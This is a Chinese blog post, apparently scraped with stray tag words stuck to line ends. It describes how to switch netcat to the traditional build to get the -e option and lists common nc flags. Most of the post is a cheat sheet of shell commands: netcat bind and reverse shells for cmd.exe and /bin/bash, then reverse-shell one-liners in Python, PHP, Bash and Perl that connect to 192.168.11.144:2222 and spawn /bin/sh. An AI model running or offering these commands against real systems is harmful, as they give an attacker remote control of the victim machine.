今天用netcat时发现个人netcat居然没有-e选项php
原来安装的默认是openbsd的,而openbsd是没有-e选项的,须要变动为traditional版才有,python
变动方法以下:linux
输入shell
sudo update-alternatives --config nc
此时会显示netcat的各个版本,输入2选择traditionalwindows
以后nc便有了-e选项bash
netcat-openbsd的用法与netcat-traditional用法有所不一样,能够根据须要自行切换。socket
nc -lvp [port] -e c:\Windows\system32\cmd.exe 或者 nc -lvp [port] -e cmd
创建链接tcp
nc -nvv [ip] [port]
nc -lvp [port]
反弹spa
nc -e c:\windows\system32\cmd.exe [ip] [port] 或者 nc -e cmd [ip] [port]
linux的为调试
-e /bin/bash
nc的经常使用的几个参数以下所列:
0)-e
程序重定向
1) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被看成server,侦听并接受链接,而非向其它地址发起链接。 2) -p <port> 指定端口3) -s 指定发送数据的源IP地址,适用于多网卡机 4) -u 指定nc使用UDP协议,默认为TCP 5) -v 输出交互或出错信息,新手调试时尤其有用 6)-w 超时秒数,后面跟数字 7)-z 表示zero,表示扫描时不发送任何数据
8)-n
告诉netcat 不要使用DNS反向查询IP地址的域名
9)-o <输出文件>
指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
10)-i <延迟秒数>
设置时间间隔,以便传送信息及扫描通讯端口。
python反向shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反向shell
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
Bash反向shell
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1
Perl反向shell
perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'